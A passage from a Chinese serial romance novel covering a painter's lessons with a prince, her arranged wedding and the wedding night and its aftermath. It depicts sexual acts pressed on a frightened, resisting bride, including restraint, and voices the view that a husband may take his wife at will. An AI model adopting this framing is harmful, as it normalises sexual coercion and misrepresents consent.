韩意淮不知在想什么,呆呆望着她临摹了一半的画作,忽然若无其事道:“笨蛋,你怎么不用生绢,用熟绢可画不出我这石头。” 第66章 出嫁 韩意淮本就是数一数二的美少年,笑起来像个孩子,全无攻击性,极容易获取姑娘家好感,迄今为止也就在黄时雨这里跌过跤,如今知了事愈发沉稳起来,便没了那股上位者的压迫力,竟使她放松许多。 黄时雨和声缓语解释道:“闻大人教过我熟绢契合精细的工笔画,而生绢与写意更相适,可我从未见过,便想着用熟绢临摹您这幅《江林月》,看看反面的效果,画了一半果然十分糟糕,失了您原有的意境。” 完全画不出想要的晕染。 其实用生绢她也模仿不了那倾泻如银的白月光。 韩意淮唇角有些压不住。 梅娘,可爱。 黄时雨对他的笑不以为意,目光反倒为他悠然畅行的笔端吸引,下意识就抬脚靠近两步。 韩意淮耐心地临摹自己的原画,非常清楚黄时雨的好奇心,她一定在被他吸引。 肃王的手指白皙洁净,一看便是养尊处优养出的,也唯有养尊处优才有很多的闲暇与条件追逐所爱,黄时雨羡慕他宛若天成的运笔,笔下的月光意境吸魂夺魄,如梦似幻,从林间点点露出,宛如稀疏的残雪。 黄时雨这样想着,就见他在空白处提了一行字:林下漏月光,疏疏如残雪。 好美。 韩意淮抬眸看她,道:“这可是我的独门不传笔法,连闻遇也不知我如何画出这样的月色,今儿独独传给了你,谁让你是我门生,你可不许背着我教旁人。” 这要放在从前,他定会洋洋得意,一面卖弄高超画技一面半哄半诱她求自己教,现今倒是学会放下身段,只哄着她是独独教了她的,也只教她,独一份的,那入耳的成效就完全不一样。 黄时雨果然惊愕抬眉,瞳仁微晃。 若非碍着两人发生了不可告人的秘密,黄时雨都要感动了,但她尚且自持,并不敢逾矩以免造成不必要的误会,然而一双晶润的眼睛实在动人。 韩意淮心脏颤了颤。 黄时雨揖礼道:“多谢殿下指点。” 韩意淮道:“哦。” 两个年轻的人儿,她盯着那副未来的传世佳作,而他盯着她。 韩意淮移开视线,在画上盖了自己的私印方才递给她,一本正经道:“呐,好好收着。” 黄时雨以为他“余情未了”,暗暗心惊,却听他道:“你可莫要自作多情!” “我……” “我什么我,你是不是以为我想与你私相授受。” 黄时雨连忙摇首否认。 韩意淮哼了声,“给你是为了督促你,回去好生练习,千万别丢我脸面。你知道闻遇吧,就那个混蛋石上居阁主,他宁愿收陆召琰也不收你,你要是偷奸耍滑真被陆召琰比下去,那我的面子往哪儿搁。” 黄时雨当即恍然大悟。 自己是他力排众议抬举的画魁,倘若远远不及陆召琰,无异于打他的脸,当下就为自己的过度谨小慎微而汗颜。 黄时雨嗫嚅道:“我会努力的,不让您没面子。” 韩意淮笑道:“这才乖。” 黄时雨敛神,一步步上前接下他的画,才启唇,却见他抚了抚衣袖,径直越过她跨过门槛,扬长而去。 闻大人从宫城回到署衙,廨所就剩黄时雨一人,一问果然又是画阁借调,想来是在为这个月底的竞买会做准备。 画阁的人手一大半都去准备竞买会,故而借闻大人手底下两个人打杂。 姜意凝对蓝素的小心思一清二楚,不过去画阁比留在画署有趣,首先有半日空闲,还有机会翻阅一些名家手札,皆为市面上未曾流通的宝贝。 但蓝素的兴趣明显更倾向闻遇。 姜意凝作为土生土长的京师人,又因祖父官职的原因,对皇上身边的人多少都有些了解,甚至听过一些旁人未曾得知的辛秘,因此对待闻遇的态度敬畏远胜少女那点子心思。 谁好人家姑娘喜欢骁影卫啊。 虽说小闻大人相当于弃武从文,离开影镇司专心管理石上居,但不代表他此前没做过骁影卫的事,且他到现在还兼任左统领一职,蓝素倾心他,真个儿是不怕死。 影镇司直接受命于皇帝,任何律法任何大人物在骁影卫跟前都不好使,说杀就杀,恶名远播,刑部与大理寺拿他们一点法子也无,甚至还得赔着小心。 蓝素推开窗子,专心致志搜寻熟悉的人影儿。 姜意凝撇撇嘴,“省省吧,上一个倾心他的姑娘可是哭着跑出画阁的。” 蓝素身形僵了僵,问道:“为何?” “兔子还不吃窝边草呢,他对画署和画阁的姑娘没兴趣。”姜意凝意味深长道,“你不知前两年盛况,画署年轻的女画员就没有不痴迷他的,再瞧现在,他往路中间一站,哪个姑娘往他身边凑过?” 蓝素脸色果然有些不大自然,“小闻大人看起来极优雅,并不像粗鲁男子……” 姜意凝往嘴里塞了块糕点,边嚼边道:“你别不信邪,他拿笔的手能在你身上戳两个血窟窿。” 蓝素生生打了个寒噤。 比起画阁两位清闲的同僚,黄时雨用过午膳便泡在廨所练习,揣摩肃王的运笔,那种技巧仅有亲眼目睹才能意会,而她悟性极高,倒也不负肃王的期待,琢磨之下又举一反三,以差不多的笔法画了海浪。 黄时雨打量着自己的墨宝,有那么点味道了,对肃王的畏惧便也淡化些许,不似初始浓烈。 未时三刻,闻大人感到腹中饥饿,命黄时雨前往公厨取些点心来用,还特特加了一句,“也挑两盘你喜欢的。” “是,大人,多谢大人。”黄时雨立即放下生绢。 似闻道芝这个品级每日都有精致的茶点供应,想吃了,自会有黄时雨这样的小跑腿来回服侍。 今儿闻大人心情好,还赏了黄时雨两盘。 二人坐在空荡荡的廨所连吃带喝。 公厨专供高品官员的小点心好吃的令人咋舌,便是最寻常的蜂蜜桂花糕用的也是玉田碧粳米。 闻道芝见怪不怪道:“画署的公厨在皇城也只能排第三,你要是吃过工部的便知道厉害,他们才是真舍得投钱吃。” 官衙一应花销来自公费,早年是由国库负担,后来因为开销过大惹恼了皇帝,斥责官员铺张浪费,便换了种方式,朝廷每年按规制发钱,固定就那么多,想要吃得好便自己想办法。 于是官老爷们除了报效朝廷也开始发挥了经营天赋,有的放印子有的投商铺分红,总之钱生钱才会有更多的钱,短短几年便拉开了贫富差距,有的官衙富得流油,有的则破产。 黄时雨听得一愣一愣的,竟没想到还有这么多门道。 闻道芝笑了笑,门道大着呢,年轻人想不到的事还很多。 “那,那万一经营不善,破产了的官衙是不是就得一起挨饿……”黄时雨迟疑道。 “那倒不至于,给朝廷打欠条啊,借钱吃饭呗。画署也欠过朝廷的钱,还好画阁给咱们补上。”没有画阁,去哪里吃这么精致的点心。 黄时雨大致明白了,画阁是画署背后的金主。正是因为画阁,她每日的午膳和固定的一份小点心才那么多花样,味道比家里的灶台娘子还要好上些许。 怨不得画阁总是理直气壮来借人。 无人置喙。 衣食父母呐。 就连大小节气的茶点钱车马费,也都是画阁给的,而不是朝廷。 于是石上居的地位在黄时雨心中瞬间高大起来。 下衙时闻大人还将自己那盘未动过的龙井奶酥赏给了黄时雨。 这姑娘能吃,当着她的面将两大盘点心吃光了。 黄时雨腼腆地拎着闻大人的赏赐离开。 因为天气日渐寒凉,简珣不让黄时雨骑小毛驴,而是吩咐护院和琥珀每日驾马车接送。 时下马匹金贵,用得起马的非富即贵,放在乡下基本少见,来到京师才不算罕见,这里随处都能见到马儿,但见的多了,黄时雨渐渐发现马与马也大不相同,马儿也有劣等马、普通好马以及突厥马之分。 前两种最为常见,不过突厥马不常见,只有门阀士族与皇室宗亲才会骑突厥马。 简珣的三匹令黄时雨胆颤心惊的“巨兽”便是典型突厥宝马,它们几乎集齐了所有男人为之痴狂的特点,高大、强壮、冲刺速度快且耐力久。 不过女孩子欣赏不来,黄时雨只喜欢可可爱爱的小马儿,譬如为她拉车的这只,个子不高身体健康,长得憨厚老实。 简珣属实将她的爱好拿捏的一清二楚。 因为突厥马罕见,所以当它出现,势必吸引一道道来自男人的艳羡目光,而女子的多半是惊奇。 黄时雨坐进车厢,循声不禁多瞧了窗外两眼,只见迎面飞来一匹骏马,几乎与简允璋的墨雪一模一样,通身黑缎,四蹄雪白,前额却多了一撮白毛,极为亮眼。 马上的男子很是眼熟,似乎在哪里见过。 闻遇面无表情驭马从黄时雨车前掠过,吓得拉车的憨厚马儿四蹄乱踏,幸而护院老道,连忙扯出缰绳安抚。 马与人一样,也会惧怕凶悍魁梧的同类。 琥珀与黄时雨并肩打量窗外,纳罕道:“这位公子一副好相貌,瞧着不似凶狠之人,怎骑了这么凶狠的马,怪吓人的。” 黄时雨道:“简允璋也骑的,上回你没瞧见,疯了一样的速度,可能京师的乌衣子弟就好这一口。” 琥珀长见识了,啧啧两声。 因为婚期定在明年二月初十,黄时雨今年得回泽禾守岁顺便在家待嫁。 朝廷对于女官的婚假相当优渥,主要体现在备嫁上,可按照官衙的实际情况,提前三十至九十日归家,家远的甚至还可以在此基础叠加程假(注,行程所要消耗的天数),但从成亲那日算起,婚后第十六日必须正常上衙,这点同男子一致。 闻大人早就定了黄时雨的婚假日,冬月二十,也就是再上衙四十余日,她便可以归家。 然而黄时雨并不想这么早回泽禾,却遭到了简珣的反对。 他劝她乖乖听话,成亲不是小事儿,要学习的东西还很多,作为简府未来的宗妇,她不能对京师的亲戚以及世交一无所知。 早点回泽禾便能早点静下心备嫁。 黄时雨在简珣跟前向来自我惯了,可大事上,尤其简珣说的没错的大事,她从不胡来。 所以她听他的。 不知道为何,她越听话简珣就越兴奋,常常会因为她不任性而抱着她亲来亲去。 对于亲昵之事,他总也要不够似的。 有时候她都有点麻了,想着干脆满足他,如了他的意,整好发现她失贞之事,然后天崩地裂,看看他打算如何处置她。 可每每到了关键时刻,他又极能忍,总是盯着她的脸色,许是从她脸上发现不了任何欢愉,就大发慈悲放了她。 这事真怨不了黄时雨,凭谁能在“死期来临”之际欢愉起来,她不当场吓晕已经算他手段高,伺候的好。 日子眨眼就翻过了三十日,这期间肃王来过六趟,每回都巧妙地出现在没有闲杂人等在场之时。当然,闻大人不算闲人,他经常当着闻大人的面出现,在闻大人眼皮底下教黄时雨作画。 闻大人也是个见多识广的,竟表现的格外冷静。 幸而肃王从未做出格的事,仿佛真的就是在单纯地教黄时雨。 这一年,姜意凝与蓝素时不时去画阁,逛遍了画阁的诗画楼,也学会了不少粗活,而黄时雨画技进步飞速,掌握了许多想也不敢想的技巧,对画道之理解达到了全新的高度。 这条路没有高人指点,还真走不下去。 不管承不承认,肃王就是她的高人,也尽到了恩师的义务。 她对肃王,从起初的防备、抗拒到完全的放松,甚至觉得他不会再伤害她了。 冬月二十,简珣亲自将黄时雨送回泽禾县衙。 黄县令与黄太太喜不自胜,早已将东厢房布置一新,充作黄时雨待嫁的闺房,此举极大地讨好了简珣。 因为简少爷主动拜了黄县令,恭敬称道“岳父”,黄太太暗自激动,料想自己便是简少爷的“岳母”了,可他似乎是忘了,竟未拜她! 与黄时雨相反的是简夫人程氏则暂时回了京师。 嫡长子成亲非同小可,作为高堂自然得亲自主持才放心,只等简珣婚后第二个月,她再返回泽禾,继续为慎远守孝,也为了从侧面回避觊觎她的男子。 备嫁的日子相比上衙有了更多时间练习画技,但也不清闲,曹妈妈为黄时雨整理了世家关系图谱,以及安国公府每一位亲戚的大致背景、年纪、特点、喜好。 这一点与民间没有太大差别,新妇都要走这遭,只不过简氏的族人太多了些,幸而简珣只让她熟悉安国公府,然而安国公府的人也不少。 黄时雨越紧张日子翻得就越快,而她的紧张落在旁人眼中竟变成了待嫁少女的近乡情怯。 与梅娘分隔两地的时光,简珣心无旁骛,控制自己不去泽禾看望她,一门心思扑在学业上。 未来有大把时光相守,可是会试、殿试不容马虎。 他的竞争对手皆为来自全国各地的精英,不乏年长见过大世面有大智慧者。 简珣规划的人生,每一步都精心丈量计算过,然后按部就班实现,学业、财富、女人以及未来的仕途。 目前为止,全部顺遂,往后的人生大概就是与梅娘生儿育女,在仕途上拼尽全力往上爬,孝顺阿娘教养子女。 但生育有风险,生多了对女子身体也不好,即便简家有最好的稳婆与医药调理,也不敢保证百分百安全。这种事便是放到后宫,也没有哪个御医敢拍着胸脯保证的。 所以简珣打算只与梅娘生两个孩子,无论男女。等她长大些,更成熟一些,再同她商量纳妾生庶子。 他并非贪花好色,也可以对她保证,只要两个庶子,全都抱到她膝下养着,然后就不再碰其他女人。 他也可以发誓,除了衣食无忧,绝不会投给妾室任何感情,一辈子只疼爱梅娘。 简珣以为这样就能与梅娘长相守,白头偕老。 也不是没想过梅娘会拒绝,那他一定心软,却没想到当梅娘不拒绝,才是他失去了方向的开始。 次年二月初十,京师发生了许多事,大事小事皆有,但泽禾的天空澄碧如洗。 简家迎亲的队伍吹吹打打来到了县衙门口,好不热闹,他们将在天擦黑时,将新妇抬进宣道坊简府。 入夜,宝天府下了一场罕见的大雪,鹅毛似的,纷纷扬扬。 韩意淮在雪中走来又走去,直到黑色的羽氅白了一片。 原来真正伤心的时候反而没有眼泪,也没有愤怒。 竟是茫然的,空白的,心口仿佛被掏了一个大洞,不疼,但很冷。 他还是很想她。 他与她结束不了。 这一年,肃王真正长大了。 遗憾的是,他没能在最成熟的年纪遇见单纯又可怜而可爱的梅娘。 第67章 新婚 时下朱红象征着权利,而青绿则对应富贵,因此婚服男子穿红,女子则以青绿为主,再用红绿金三色丝线绣上繁复华丽的吉祥纹样。 黄时雨身着凤冠霞帔,青绿织金锦缎广袖长衫五十八副褶裙,每走一步,奢华与靡丽若隐若现,那是五个大绣娘并十二个小绣娘耗时近半年的心血。 而她头上的珍珠宝石金凤冠,足足镶了一百零八颗莹润的松海珠,十八颗鸽卵大小的通透宝石,脖子被压得隐隐发酸。 这是一场外人看来盛大又隆重的仪式,而黄时雨对自己的第一段婚姻只有繁琐,饥饿,焦渴,疲惫的记忆,当然也有微许的甜蜜与憧憬。 但那样不合时宜的情绪犹若一戳即破的泡沫,顷刻泯然于众。 送亲与迎亲队伍踏入城门,简珣在众人的簇拥下骑着高头大马迎接,队伍又变长一大截。 入夜,总算来到了简府,朱红色的正门打开,灯火通明,亮如白昼,数十个穿着华丽说吉祥话的亲戚仆婢鱼贯而出,全福人与媒人笑吟吟上前,分开大红织金的花轿锦帘,花轿四周还缀着桃红绣球,分外喜庆。 黄时雨迷迷瞪瞪,被她们搀扶下轿,两手藏在袖中遵照长辈的叮嘱,始终举着团扇遮面,微微垂眸,不得乱瞟乱看。 透过纨扇隐约可见一名高高的郎君来到正前方,不用猜也知是简珣,他将马鞍横在地上,请她跨过,谓之“平安”,这是金平的风俗。 左右立即为黄时雨轻提厚重的绣裙,助她抬脚迈过,众人一片抚掌叫好。 影壁前停着一辆大红织金的彩车,用来给新妇代步,其余宾客亦有代步的车舆。 黄时雨上车后被送到祠堂拜天地、高堂、对拜,接下来基本就与世隔绝,坐着彩车进了不二梅斋,在仆婢的簇拥下静坐新房。 从这一刻起她才能稍作休息,解决内急,再喝点水吃些点心,但不能用太多,至于为何不可以吃太多,黄太太和曹妈妈的意思一致,吃的太撑不方便活动,影响简珣的体验。 关于这种事,都要以男方为主,黄太太警告她不许扫了姑爷的兴,也休要哭哭啼啼,又想起黄时雨早就随简珣进京破过身,那今日洞房便不是头一遭,应该不会哭泣,但也警告她必须听贤婿的话,贤婿让她做什么她就得做什么。 黄太太只把这个姑娘当摇钱工具,况且自己也只会些上不得台面的手段,于是开始传授黄时雨讨好男人的法子,千万不可端着,因为男人就喜欢下作的。 黄时雨喉咙发紧,干呕了一声。 黄太太脸都绿了。 只有姐姐黄莺枝悄悄提醒妹妹注意安全,不管是第几次都得保护自己不受伤,一旦有任何不适也要大胆说出来,身为夫君自会体谅她的难处。 黄时雨揣着手坐在床前发呆。 安谧祥和的婚房,当中一只鎏金的麒麟送子铜炉,轻烟袅袅,馨香袭人。软纱红帐,帐顶绣着瓜瓞绵延图,戏婴图,四角垂着福禄寿齐全的香囊。紫檀的桌案上高燃一对龙凤花烛,另有二十余盏造型各异的羊角明瓦灯,把个内外照的通明。 房中立着琥珀、柳儿、曹妈妈并黄家为黄时雨准备的四个陪房丫鬟,其余四个则是不二梅斋的一等丫鬟。 时下讲究聚气,不会将睡觉的内寝造太大,但外寝也就是连通内寝的房间不讲究,亦是夫妻起居的重要活动场所。 这么些丫鬟自然无法都挤进内寝的,大部分站在外面,只有琥珀和曹妈妈陪黄时雨坐在里面。 直到听见全福人的催妆诗,黄时雨才被搀扶着行至外寝,这一步是为了请丫鬟们在拔步床撒诸果,俗称撒帐。 简珣双眸明亮,毫不避讳地望着黄时雨。 黄时雨也正式看见了他,非常漂亮的神仙郎君,一身朱红锦衣,斜披暗金方胜纹妆花缎。 十七岁的简珣身量明显长开,肩膀更宽,显得腰身更细,却并不纤弱,举手投足充满了力量感。他接过匏瓜制成的瓢,将红线连着的另一半递给黄时雨。 全福人笑道:“请新人对饮合卺酒。” 简珣微微弯身,与黄时雨交杯而饮。 丫鬟上前福身道一句吉祥话,双手接过二位主子的瓢杯。 简珣扶着黄时雨坐进几步开外的玫瑰椅,小声道:“我还要出去一趟,你想吃就吃想喝就喝,吃饱喝足再让下人服侍沐浴更衣,困了便睡,不必等我。” 他帮她解下沉重的凤冠。 梅娘顶了一天,不知多累。 卸下重担,黄时雨肩膀脖颈顿时轻松,总算可以均匀呼吸。 简珣将凤冠递给丫鬟,转身轻轻捏了捏黄时雨的肩膀,哑声道:“让你受累了。” 黄时雨谨记人多的场合不得与新郎说话,只垂眸轻轻嗯了声。 新郎官甫一出门,丫鬟们便分工明确,有伺候黄时雨用茶点的,也有去净房备水的,还有收拾床铺,以防坚硬的果子咯了新人。 黄时雨仅用了两块点心,又喝了一瓯茶便去沐浴更衣。 新妇都会因为紧张吃不下太多,仆婢们不以为意。 在程氏眼中,黄时雨早已不是黄花大闺女。 当年随简珣上京就交付过,曹妈妈亲自验收的白绫,因此今夜就不必在褥子上铺白绫验贞了。 然而黄时雨是不是黄花大闺女,简珣比谁都清楚,因为他从未真正得逞过。 亥时,简珣终于得以脱身,那时黄时雨将将歇下,他不疾不徐来到屏风后,由丫鬟服侍着解下腰带外衫,兀自去净房沐浴更衣。 大部分事情简珣都能接受丫鬟服侍,唯独沐浴不行,因此小厮得从另一处门进净房伺候他,结束再从那一处门离开,避免冲撞女主人的地界。 收拾齐整,简珣方才遣散丫鬟推门迈入内寝,又将门紧紧阖上。 今夜,终于可以全无负罪感地占有梅娘。 在他看来明媒正娶,拜告了天地高堂,丈夫就有权任意拥有妻子了,既合乎礼法也合乎律法。 简珣望着帐中近在咫尺的娇影,缓缓摩挲着自己食指的戒指,终于下定决心,摘下丢在案上。 黄时雨睡的并不沉,听见动静慌忙坐起身,只见简珣正弯腰自拔步床内的抽屉取出一叠白绫,她登时心虚,倒吸一口冷气。 简珣撩起纱幔,来到她身边坐下,犹觉双耳滚烫似火烧,嗡声哄着她道:“不要害怕,我会温柔的……” 黄时雨面如金纸,嗫嚅道:“那,那你快些,轻些。” “嗯。”他红着脸,音色暗哑。 “梅娘。”简珣轻声唤她,“以后,我们俩好好过日子,我会用心护你,也只一心待你的。” 黄时雨一怔,有些恍然,抬眸看着他。 简珣倾身啄了啄她微凉的唇,“干嘛这样盯着我,我说以后只一心待你,你就没有什么要对我说的吗?” 黄时雨回过神,也渐渐地清醒,怯怯道:“我不知道说什么。” 简珣顿了顿,俯身噙住她的唇。 那就用一生慢慢对他说吧。 黄时雨心如擂鼓,眼睁睁瞧着简珣放开自己,又将白绫摊开铺在被褥上,许是怕弄脏被褥露馅,连续铺了五层,也不知他何时备下了这么多。 简珣的忍耐力并没有黄时雨以为的那么好,铺完白绫就解了自己所有的衣服,也去掉了她的。 黄时雨几欲吓晕,人在垂死之际往往会做些没什么太大用处的挣扎。 她突然嫌冷,简珣便与她一起裹进柔软温暖的丝被里,“梅娘,屋里烧着好几盆银丝碳,哪有那么冷,你别动,动了会痛……” 未料她挣扎更厉害,简珣喘息略重,隐忍道:“又怎么了?” “我渴了,要喝水。”她用力咽了咽。 简珣起身为她倒水,等她喝完了再次扑过去。 “又怎么了?”他咬牙问。 黄时雨梗着脖子道:“太亮了,我不习惯!” 简珣嗯了声,听她的话,将除了龙凤烛以外的灯全吹熄。 他的耐心也快用尽了,谁知她又出幺蛾子。 黄时雨喊道:“我,我不喜欢这种方式,好丑。” 简珣默了默,换了个方式,黄时雨当即扭着身子乱动,这个样子更丑,而且好痛! 她又羞又怕,耻辱地闭上眼。 简珣满头大汗,梅娘心里抵触,他就更紧张,用了平生最大的毅力,缓缓探路,分花拂柳,谁知依然寸步难行。 当然,这种事他若不顾惜她身子,只图自己痛快的话也不难行,硬来的话怎样都行,可是他舍不得。 好在下人对新婚夫妇的尴尬处境早有准备,简珣取来一盒散发着奇怪香气的东西,黄时雨以为是抹脸的香膏,却骇然发现简珣抹的不是脸。 这回她无路可逃,再也寻不到借口。 她呜咽了一声,死死咬住自己手背,却被简珣用力掰开,将她的双手固定在头顶。 世界仿佛又开始在她眼底旋转,帐幔颤颤晃动,而她也变成了怒海浪涛中一叶无依无靠的扁舟,被暴雨卷上半空,又狠狠抛下,落在礁石深处,撞个粉碎。 简珣开始对她做着肃王对她做过的那些事。 但肃王不会停,总是嘴上哄着她,动作该怎么不讲理就怎么不讲理,直到结束。 简珣却会因她哭泣而暂停,柔声软语哄哄她,安抚她,待她心绪稍稍平稳了,再猛然继续,有时实在急迫,他的安慰轻哄便敷衍许多,再要她之时也就更用力一些,黄时雨受不住,泪如泉涌,他只好停下再安慰。 磕磕绊绊了许久。 简珣餍足地趴在她身上。 黄时雨大脑一片空白,疲惫地闭上眼。 好在简珣满足后一心帮她擦身子,并未过多打扰她。 擦着擦着简珣终于察觉不对劲,浅色的棉帕与白绫上不见一滴红梅。 他诧异地瞅瞅自己,又瞅瞅黄时雨。 难道是他不行? 此时的简珣仅有纸上谈兵的实力,没有落红也权当自己不行。 再者不都是第二日早晨验贞,那“红”说不定要等些时候才会落。 简珣悬起的心总算落下,盯着梅娘的目光也就越来越滚烫。 他再次抱起她,“不擦了,再来一次。” 也许是心底深处想要证明什么,这一次他颇有些横行无忌,连表情都有些凶。 黄时雨惊醒,误以为简珣已然发现,要揍自己,未料他确实在“揍”。 简珣望着有些呆滞的梅娘,不由心软,所有的力量也都化成了温柔,只用力拥着她轻轻道:“是我不好,吓到你了,就快结束,我保证今晚不再欺负你……” 黄时雨听着他温柔的呢喃,只觉得是一场梦,便忍着不适满足了他。 次日,再次睁开眼,她发现自己寝衣整齐,应是昨夜简珣结束后为她收拾了一番。 黄时雨动了动,酸酸的不适,略有一丝痛,但不明显。 简珣坐在被褥中央,一腿盘着,一腿支着屈膝,右臂就搭在曲起的膝盖上,瞳仁乌黑幽深,凝重地望着她,也不知这样望了多久。 黄时雨裹紧了鸳鸯被,任凭简珣危险的目光逡巡周身。 二人僵持良久。 身上陡然一轻,唯一有安全感的被褥竟被简珣单手掀开,丢去床尾。 黄时雨弹坐而起,抱着膝盖缩在床头。 简珣将揉成一团的白绫丢在黄时雨脸前,上面有一些不明的液体,却没有红色的。 他为此专门等到了天亮,一滴都没有! 简珣幽幽打量着黄时雨,声音没有一丝起伏,“去年十月开始,便有一位年轻画师,隔三差五上门教你作画。别告诉我廨所还有闻大人,闻大人不是你的护身符,她还能时时盯着你们不成,你与那人常常共处一室,长则两炷香。” “两炷香,什么事都可以做。” “倘若我与别的姑娘也如此,你觉得合不合适?” 黄时雨埋着头,全然没想到自己的一举一动都逃不过简珣的耳目,登时不寒而栗。 所幸他的耳目不认识肃王。 “你也别怪我找人窥探你,毕竟你就没做什么令我安心之事,孤男寡女共处一室,即便那样我也未曾为难你,所以,你就这么回报我?” 他长手一伸攥住黄时雨胳膊,请她直面一滴落红都没有的白绫。 黄时雨跌坐,慌忙甩开他,又缩回角落。 简珣扬了扬下巴,问:“他,是谁?” 黄时雨抱紧了膝盖,垂着眼睛。 简珣目光紧紧锁着她,“你耳朵聋了?我问你话呢。” 黄时雨抖了抖,闷闷开口道:“他已经死了,你要打要骂只管来吧,我都受着。” 撒谎是不对,但总比说出实情惹下大祸来得好一些。简允璋不能杀亲王,可亲王却能够真的杀了他。 万一简允璋有个好歹,简夫人定然也活不下去,那她,更没脸活在这世上。 无人幸免。 “你受着?受得住么你!”简珣冷笑道。 黄时雨蹙着眉心,抿紧了唇。 丫鬟在门外请安,询问是否备水。 委婉的提醒二位主子该起床了。 简珣道:“备水。” 丫鬟回:“是,少爷。” 不多时,丫鬟们鱼贯而入,分成两拨,一拨伺候黄时雨洗漱,而另一波伺候简珣。 两人各自去了自己的净房整理仪容。 今天还有许多的仪式要走,简珣头顶绿云自净房走出,来到梢间用早膳。 梅娘姗姗来迟,目光有些呆滞,盯着桌角瞬也不瞬,发现他的视线,当即闪躲了下,垂着脸安安静静用饭。 她居然还吃得下饭。 简珣味同嚼蜡。 饭后,黄时雨随简珣前往简府的清苑正堂拜见程氏。 简珣大步流星,她追不上也不敢迈太大的步子,虽然不疼,可是难受,折腾了那么久,连续两次,让她走路都觉得别扭。 简珣心里有气,本不想搭理她,却发现她是真的追不上自己,脚步便不由自主地放慢。 他转身望着她。 梅娘满面绯红,踉踉跄跄追了过来。 泽禾也有个清苑,仿佛都是照着简府取的名。 简珣与黄时雨双双磕头敬茶,给程氏问安。 程氏笑着喝了媳妇茶,欣慰地打量两个好孩子,到底是年轻不知节制,脸色竟一个比一个差,又想到两人小别胜新婚,便不忍苛责。 “以后你们好好过日子,相互敬爱相互扶持,莫要让我操心。”程氏叮嘱道,吩咐仆妇将两只厚厚的红包发给儿子儿媳。 不用猜也知红包里放的都是银票。 黄时雨惨白着脸,叩首道:“谢谢娘,儿媳谨记。” 简珣道:“儿谨记。” 下一个环节是认亲,没有简珣的事儿,梅娘被一众女眷簇拥着去了花厅。 安国公府一共五房,黄时雨挨个磕头,从大伯娘到五婶娘叫了一遍敬了一遍,红包与赏赐就堆满了琥珀端着的托盘。 国公府的小姐们也送不了不少手镯戒指璎珞,女孩子们对这位堂嫂(弟妹)的美貌惊讶不已,怨不得珣堂哥(弟)连门第都不在意了,这是真美人儿。 那之后众人又乘车回安国公府,黄时雨先后给安国公与老太君请了安,又得到一堆赏赐,她已经不敢想象如今自己多有钱。 在安国公府,再次见到简允璋。 当着外人的面,他没有令她难堪,始终神色如常,下台阶时还小心翼翼搀扶她。 不禁意流露的温柔,恍如隔世。 黄时雨的记性令人刮目相看,从头到尾竟未认错一名亲戚,规矩也没有半分错漏,连老太君都暗暗称奇。 小门小户教养出的姑娘完全不输大家闺秀。 新妇新婚第二日走完仪式,通常就可以休息,懂得都懂,心善人家的长辈都不会过多刁难。 而黄时雨确实也累得不轻。 简珣陪她打道回府。 直到周围再无外人,他那自持的神色终于寒了下来,却耐着性子将她抱至榻上。 “我让医女给你看看,不要讳疾忌医。”简珣冷声道。 “不要。”黄时雨面色骤变,“我没受伤,只是……只是太累了,你莫要再动我了。” 她也不知自己在委屈什么,眼眶酸胀。 简珣本想讥讽她两句,是不是因为他比奸夫更雄伟,令她吃不消。 却又想起她那样的难行,甚至让他都感觉到一点痛,便知她是真的难受,否则也不会扭着身子不配合,哭着让他出去。 “好,我不碰你,你先休息。”他淡淡道。 得了他的保证,黄时雨眼皮益发沉沉抬不起,竟真的睡着了。 她在梦里呜呜哭了两声,又变成小声的啜泣。 简珣横抱着她回了内寝,盖上大红的鸳鸯锦被。 接下来也就归宁那日舟车劳顿,重返京师连续休息两日,黄时雨总算恢复了精神。 休息好了,又请郎中为她诊脉确认无虞,简珣就没必要再委屈自己。 当夜,不二梅斋要了两遍水。 黄时雨觉得自己就这么任由简珣乱来,定是活不成了。 兔子急了还会咬人。 她又抓又咬,打疼了他。 简珣本就一肚子窝囊气,如今还要挨她的打,气上加气,他是舍不得打她,但不代表没法子制她。 他劣根性的想看她吃瘪的模样,三下五除二就将她的手捆住。 “怎么不打了?你再打我下试试,我还治不了你!”简珣捏着她的下巴道。 黄时雨气喘吁吁,双手被自己的抹胸绑得个结结实实,明明不紧,却怎么也挣不开。 但她还有脚,抬起就往他身上踹。 简珣生生挨了两脚,难以置信瞪着她,“黄时雨,你疯了。” 黄时雨背过身,用牙齿咬着捆住双手的桎梏。 “来,我帮你。”简珣从后面拥住她,竟真的为她松了绑。 黄时雨松了口气,忽然浑身一僵,哭道:“不要,你走,这样我不舒服……” 简珣深深吸了口气,尽量放缓了速度,“不小心就这样了,你等下,我一会就好。” 黄时雨一声比一声不成调子。 简珣哪里见过这样的梅娘,慌忙放开了她,只顾着检查有没有弄伤她,就挨了一记结结实实的耳光。 她紧紧抱着被子。 简珣垂下眼睫,以拇指擦了擦嘴角的血迹。 是他的血。 “我不想看见你,滚啊!”黄时雨含泪道。 简珣抓起衣服头也不回摔门而出。 第68章 暖融 这夜当值的丫鬟是白露与碧荷,寻常来说一个足以,但有少爷留宿的情况就得多加一个。 少爷留宿少奶奶房中,那么当值的便是不二梅斋的碧荷与少爷惯用的白露。 碧荷是家生子,能堪大用升上一等后就一直在不二梅斋,自然不了解少爷脾性,甫一听得寝卧那边摔门的声音唬得一个哆嗦,忙要下炕穿鞋探探究竟。 才支起上半身,手臂就被白露按住。 白露摇了摇头,压低了声腔道:“傻丫头,你这时候出去让少爷的脸往哪里搁。” 见怪不怪了。 又不是第一回被少奶奶赶出去。 碧荷心惊肉跳,琢磨了一下好像弄懂了,脸色不由变得更加古怪。 “俩人好着呢,用不着咱们操心,只一条,你得学会装聋作哑。”白露轻描淡写道。 于是,两个千挑万选的一等丫鬟竟像木头泥人似的,对主子动静一无所觉,装傻充愣缩在被窝,偷偷竖着两只耳朵。 这厢负气而出的简珣,在门外愤愤然穿好衣服,心灰意冷,怏怏来回走了两圈,独自躺在了外寝的榻上。 支着耳朵听了半炷香,还是没有动静。 碧荷小声道:“白露,这么冷的天儿,光有炭盆没有被褥也不行啊,万一着凉可怎么整?” 原以为少爷会去书房休息,那里的暖阁有现成被褥,不意他一点动静也无,两个丫鬟不得不操起了心。 白露到底是少爷身边的老人,静默片刻,道:“我给少爷送一床。” 这么晚是断然不敢进内寝打扰少奶奶取被褥的,白露径直去书房的暖阁取,碧荷帮她一起抬到隔扇外便不敢进了。 她与少爷又不熟,赶在气头上,要是被迁怒了岂不天大的冤枉。 白露笑道:“这里有我,你快回去莫让被窝冷了。” 碧荷如蒙大赦,道一声“嗳”溜之大吉。 